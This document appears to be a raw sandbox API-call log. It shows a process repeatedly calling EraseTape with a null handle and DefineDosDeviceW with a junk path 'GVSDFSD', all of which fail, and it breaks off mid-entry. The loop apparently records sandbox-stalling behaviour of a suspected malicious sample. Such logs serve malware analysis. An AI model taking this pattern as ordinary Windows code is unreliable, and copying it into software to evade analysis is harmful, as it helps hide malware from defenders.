[0066.797] EraseTape (hDevice=0x0, dwEraseType=0x16, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x16, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x17, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x17, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.797] EraseTape (hDevice=0x0, dwEraseType=0x18, bImmediate=0) returned 0x6 [0066.797] DefineDosDeviceW (dwFlags=0x18, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.797] GetLastError () returned 0x57 [0066.797] GetCurrentThread () returned 0xfffffffe [0066.797] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x19, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x19, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x1a, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x1a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x1b, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x1b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x1c, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x1c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x1d, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x1d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x1e, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x1e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x1f, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x1f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x20, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x20, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x21, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x21, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.798] GetCurrentThread () returned 0xfffffffe [0066.798] GetLastError () returned 0x57 [0066.798] EraseTape (hDevice=0x0, dwEraseType=0x22, bImmediate=0) returned 0x6 [0066.798] DefineDosDeviceW (dwFlags=0x22, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.798] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x23, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x23, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x24, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x24, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x25, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x25, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x26, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x26, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x27, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x27, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x28, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x28, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x29, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x29, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x2a, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x2a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x2b, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x2b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.799] GetLastError () returned 0x57 [0066.799] GetCurrentThread () returned 0xfffffffe [0066.799] GetLastError () returned 0x57 [0066.799] EraseTape (hDevice=0x0, dwEraseType=0x2c, bImmediate=0) returned 0x6 [0066.799] DefineDosDeviceW (dwFlags=0x2c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x2d, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x2d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x2e, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x2e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x2f, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x2f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x30, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x30, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x31, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x31, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x32, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x32, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x33, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x33, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.800] EraseTape (hDevice=0x0, dwEraseType=0x34, bImmediate=0) returned 0x6 [0066.800] DefineDosDeviceW (dwFlags=0x34, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.800] GetLastError () returned 0x57 [0066.800] GetCurrentThread () returned 0xfffffffe [0066.800] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x35, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x35, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x36, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x36, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x37, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x37, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x38, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x38, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x39, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x39, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x3a, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x3a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x3b, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x3b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x3c, bImmediate=0) returned 0x6 [0066.801] DefineDosDeviceW (dwFlags=0x3c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.801] GetLastError () returned 0x57 [0066.801] GetCurrentThread () returned 0xfffffffe [0066.801] GetLastError () returned 0x57 [0066.801] EraseTape (hDevice=0x0, dwEraseType=0x3d, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x3d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x3e, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x3e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x3f, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x3f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x40, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x40, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x41, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x41, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x42, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x42, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x43, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x43, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x44, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x44, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.802] GetCurrentThread () returned 0xfffffffe [0066.802] GetLastError () returned 0x57 [0066.802] EraseTape (hDevice=0x0, dwEraseType=0x45, bImmediate=0) returned 0x6 [0066.802] DefineDosDeviceW (dwFlags=0x45, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.802] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x46, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x46, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x47, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x47, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x48, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x48, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x49, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x49, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x4a, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x4a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x4b, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x4b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x4c, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x4c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.803] EraseTape (hDevice=0x0, dwEraseType=0x4d, bImmediate=0) returned 0x6 [0066.803] DefineDosDeviceW (dwFlags=0x4d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.803] GetLastError () returned 0x57 [0066.803] GetCurrentThread () returned 0xfffffffe [0066.803] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x4e, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x4e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x4f, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x4f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x50, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x50, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x51, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x51, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x52, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x52, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x53, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x53, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x54, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x54, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x55, bImmediate=0) returned 0x6 [0066.804] DefineDosDeviceW (dwFlags=0x55, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.804] GetLastError () returned 0x57 [0066.804] GetCurrentThread () returned 0xfffffffe [0066.804] GetLastError () returned 0x57 [0066.804] EraseTape (hDevice=0x0, dwEraseType=0x56, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x56, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x57, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x57, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x58, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x58, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x59, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x59, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x5a, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x5a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x5b, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x5b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x5c, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x5c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x5d, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x5d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.805] GetLastError () returned 0x57 [0066.805] GetCurrentThread () returned 0xfffffffe [0066.805] GetLastError () returned 0x57 [0066.805] EraseTape (hDevice=0x0, dwEraseType=0x5e, bImmediate=0) returned 0x6 [0066.805] DefineDosDeviceW (dwFlags=0x5e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x5f, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x5f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x60, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x60, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x61, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x61, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x62, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x62, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x63, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x63, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x64, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x64, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x65, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x65, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x66, bImmediate=0) returned 0x6 [0066.806] DefineDosDeviceW (dwFlags=0x66, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.806] GetLastError () returned 0x57 [0066.806] GetCurrentThread () returned 0xfffffffe [0066.806] GetLastError () returned 0x57 [0066.806] EraseTape (hDevice=0x0, dwEraseType=0x67, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x67, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x68, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x68, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x69, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x69, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x6a, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x6a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x6b, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x6b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x6c, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x6c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x6d, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x6d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () 